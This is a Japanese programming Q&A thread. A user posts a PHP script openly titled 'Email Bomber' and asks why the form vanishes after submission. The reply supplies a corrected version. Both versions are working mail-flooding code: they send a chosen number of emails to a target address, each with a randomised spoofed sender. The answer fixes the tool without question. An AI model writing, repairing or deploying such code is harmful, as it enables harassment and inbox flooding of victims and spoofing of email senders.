0

なんらかの理由で、このスクリプトが「IT WORKED!」というメッセージが表示されるところまで実行されると、メッセージは表示されますが、その上にあるはずのフォームが消えてしまいます。

私のコード:

<?php

    $message    = $_REQUEST['message'];
    $email      = $_REQUEST['email'];
    $times      = $_REQUEST['times'];
    $subject    = $_REQUEST['subject'];
    $to         = $_REQUEST['to'];

    for ($i=1; $i<=$times; $i++) {
        mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
    }

?>

    <form method="POST" id="email">

        <h1>Email Bomber</h1>

        <fieldset id="inputs">
            <input name="times" type="text" placeholder="How Many Emails" autofocus required>
            <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
            <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
            <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
            <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
        </fieldset>

        <fieldset id="actions">
            <input type="submit" id="submit" name="Send" value="Send Email">
        </fieldset>
    </form>

    <?php

        if (isset($_REQUEST['message'])) {

            echo "IT WORKED!";

        }

    ?>
4

1 に答える 1

0

する必要があります:

PHP コード:

<?php
if (isset($_REQUEST['Send'])) {

$message    = $_REQUEST['message'];
$email      = $_REQUEST['email'];
$times      = $_REQUEST['times'];
$subject    = $_REQUEST['subject'];
$to         = $_REQUEST['to'];

for ($i=1; $i<=$times; $i++) {
    mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
}

echo "IT WORKED!";
}
?>

HTML :

<form method="POST" id="email" action="#">

    <h1>Email Bomber</h1>

    <fieldset id="inputs">
        <input name="times" type="text" placeholder="How Many Emails" autofocus required>
        <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
        <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
        <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
        <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
    </fieldset>

    <fieldset id="actions">
        <input type="submit" id="submit" name="Send" value="Send Email">
    </fieldset>
</form>
于 2013-02-09T07:54:01.590 に答える